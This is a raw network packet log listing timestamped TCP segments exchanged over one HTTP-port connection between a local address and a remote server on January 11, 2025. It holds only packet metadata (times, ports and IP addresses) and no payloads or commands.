Jan 11, 2025 04:00:42.266961098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.266979933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.266985893 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.267016888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.267544031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.267605066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.267615080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.267631054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.267673969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.267755032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.267771006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.267786980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.267812014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.267965078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.268007994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.268493891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.268508911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.268526077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.268549919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.268657923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.268673897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.268692017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.268696070 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.268728971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.268729925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.269320011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.269351006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.269366980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.269388914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.269412041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.269527912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.269565105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.269573927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.269582987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.269638062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.270272970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.270287991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.270306110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.270328045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.270430088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.270446062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.270461082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.270478010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.270487070 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.270514965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.271143913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.271157980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.271176100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.271198988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.271222115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.271296024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.271311045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.271337032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.271352053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.271354914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.271398067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.272716999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.280919075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.305423975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.305510998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.305530071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.305551052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.336396933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.336447954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.336463928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.336474895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.336481094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.336503029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.336590052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.336606979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.336647034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.336654902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.336668968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.336703062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.336754084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.336770058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.336786985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.336805105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.336818933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.336836100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.353915930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.353964090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.353988886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.354005098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.354041100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.354105949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.354123116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.354145050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.354170084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.367605925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.367619991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.367654085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.367743969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.367758989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.367775917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.367789030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.367819071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.367892981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.367909908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.367928028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.367944002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.367954016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.367980003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.368135929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.368151903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.368263006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.385205984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.385221958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.385237932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.385271072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.385484934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.385500908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.385516882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.385533094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.385551929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.385592937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.385597944 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.385610104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.385648966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.385708094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.385724068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.385740042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.385757923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.385812044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.385898113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.385911942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.385978937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.385988951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386003017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386022091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386044025 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.386169910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386185884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386203051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386218071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.386219025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386236906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386262894 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.386276960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.386392117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386629105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386643887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386658907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386672020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.386676073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386693954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386701107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.386756897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.386914968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386929989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386946917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386962891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386980057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.386986017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.386996031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387013912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387021065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.387043953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.387204885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387343884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387346029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.387358904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387376070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387392044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387411118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387427092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387444973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387460947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387479067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387501955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.387660980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.387836933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387854099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387898922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387912989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.387917995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387933969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387947083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.387952089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387968063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387984037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.387988091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.388051987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.390208960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390235901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390250921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390266895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390280008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.390290022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390332937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390336990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.390348911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390366077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390403986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.390541077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390556097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390573025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390588045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390619040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.390671968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390687943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390705109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390717030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.390746117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.390816927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390834093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390885115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.390957117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390973091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.390989065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.391004086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.391014099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.391021013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.391041040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.391047955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.391089916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.391262054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.391278028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.391293049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.391309977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.391330957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.391345978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.391349077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.391386032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.391402006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.394506931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.396056890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.396074057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.396091938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.396152020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.396153927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.396169901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.396186113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.396202087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.396210909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.396239042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.398297071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.427244902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.427274942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.427294016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.427309990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.427321911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.427336931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.427345991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.427354097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.427371979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.427382946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.427417040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.444659948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.444709063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.444725990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.444750071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.444782019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.444798946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.444817066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.444822073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.444855928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.445039034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.445065975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.445084095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.445100069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.445106983 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.445116043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.445141077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.445174932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.445218086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.445220947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.445236921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.445251942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.445278883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.458540916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.458566904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.458585978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.458602905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.458631039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.458643913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.458661079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.458678007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.458695889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.458834887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.458834887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.475723028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.475747108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.475804090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.475914001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.475929022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.475946903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.475964069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.475979090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.475980043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.475999117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476006985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.476035118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.476063013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476080894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476130962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.476193905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476210117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476226091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476247072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476253033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.476293087 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.476342916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476358891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476378918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476409912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.476485014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476500988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476526022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.476629972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476645947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476661921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476689100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.476711988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.476804018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476819992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476836920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476852894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476871014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.476881981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.476911068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.477086067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477102041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477118015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477133989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477147102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.477149010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477160931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.477189064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.477375031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477391005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477407932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477422953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477437019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.477438927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477463007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.477693081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477709055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477724075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.477740049 CET	80	49699	193.143.1.205	192.168.2.7
